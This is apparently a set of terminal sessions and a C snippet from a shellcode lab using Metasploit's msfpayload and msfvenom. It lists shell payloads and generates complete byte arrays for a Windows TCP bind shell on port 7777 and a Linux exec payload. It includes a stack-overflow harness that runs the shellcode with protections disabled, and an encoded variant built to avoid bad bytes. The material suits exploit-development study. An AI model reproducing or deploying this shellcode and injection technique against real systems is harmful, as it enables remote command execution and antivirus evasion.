root@kali:~# msfpayload -lFramework Payloads (251 total)==============================    Name                                             Description    ----                                             -----------    aix/ppc/shell_bind_tcp                           Listen for a connection and spawn a command shell    aix/ppc/shell_find_port                          Spawn a shell on an established connection    aix/ppc/shell_interact                           Simply execve /bin/sh (for inetd programs)    aix/ppc/shell_reverse_tcp                        Connect back to attacker and spawn a command shell    bsd/sparc/shell_bind_tcp                         Listen for a connection and spawn a command shell...snip......snip...    windows/x64/shell/bind_tcp                       Listen for a connection (Windows x64), Spawn a piped command shell (Windows x64) (staged)    windows/x64/shell/reverse_tcp                    Connect back to the attacker (Windows x64), Spawn a piped command shell (Windows x64) (staged)    windows/x64/shell_bind_tcp                       Listen for a connection and spawn a command shell (Windows x64)    windows/x64/shell_reverse_tcp                    Connect back to attacker and spawn a command shell (Windows x64)    windows/x64/vncinject/bind_tcp                   Listen for a connection (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)    windows/x64/vncinject/reverse_tcp                Connect back to the attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)

root@kali:~# msfpayload windows/shell_bind_tcp o       Name: Windows Command Shell, Bind TCP Inline     Module: payload/windows/shell_bind_tcp    Version: 14774   Platform: Windows       Arch: x86Needs Admin: No Total size: 341       Rank: NormalProvided by:  vlad902   sf Basic options:Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  process          yes       Exit technique: seh, thread, process, noneLPORT     4444             yes       The listen portRHOST                      no        The target addressDescription:  Listen for a connection and spawn a command shell

root@bt:~# msfpayload windows/shell_bind_tcp LPORT=7777 C/* * windows/shell_bind_tcp - 341 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=7777, RHOST=, EXITFUNC=process, * InitialAutoRunScript=, AutoRunScript= */unsigned char buf[] ="\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30""\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff""\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2""\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85""\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3""\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d""\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58""\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b""\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff""\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68""\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01""\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50""\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7""\x31\xdb\x53\x68\x02\x00\x1e\x61\x89\xe6\x6a\x10\x56\x57\x68""\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5""\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75""\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57""\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01""\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e""\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56""\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56""\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75""\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

root@bt:~# msfpayload  linux/x86/exec CMD=ls C/* * linux/x86/exec - 38 bytes * http://www.metasploit.com * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependChrootBreak=false, AppendExit=false, CMD=ls */unsigned char buf[] ="\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68""\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c""\x73\x00\x57\x53\x89\xe1\xcd\x80";

 1 #include<unistd.h> 2  3 unsigned char large_string[128];  4 /* 5  * linux/x86/exec - 38 bytes 6  * http://www.metasploit.com 7  * VERBOSE=false, PrependSetresuid=false, 8  * PrependSetreuid=false, PrependSetuid=false, 9  * PrependChrootBreak=false, AppendExit=false, CMD=ls10  */11 unsigned char shellcode[] =12 "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"13 "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c"14 "\x73\x00\x57\x53\x89\xe1\xcd\x80";15 16 void main() { 17     char buffer[96]; 18     int i; 19     long *long_ptr = (long *) large_string; 20     for (i = 0; i < sizeof(large_string)/sizeof(int); i++) 21         *(long_ptr + i) = (int) buffer; 22 23     for (i = 0; i < sizeof(shellcode); i++) 24         large_string[i] = shellcode[i]; 25     memcpy(buffer,large_string,sizeof(large_string));26 } 

bai@ubuntu:/mnt/hgfs/r/stack$ gcc -fno-stack-protector -z execstack -g -o shell shell.cbai@ubuntu:/mnt/hgfs/r/stack$ ./shell

root@bt:~# msfvenom  -p linux/x86/exec CMD=ls -e x86/shikata_ga_nai -b ‘\x00‘ -f c[*] x86/shikata_ga_nai succeeded with size 65 (iteration=1)unsigned char buf[] ="\xdb\xd6\xd9\x74\x24\xf4\xbb\xe3\xa4\x6b\x7e\x58\x2b\xc9\xb1""\x0a\x83\xc0\x04\x31\x58\x15\x03\x58\x15\x01\x51\x01\x75\x9d""\x03\x84\xef\x75\x19\x4a\x79\x62\x09\xa3\x0a\x04\xca\xd3\xc3""\xb6\xa3\x4d\x95\xd5\x66\x7a\xa6\x19\x87\x7a\xc5\x6a\x87\x2d""\x46\x05\x66\x1c\xe8";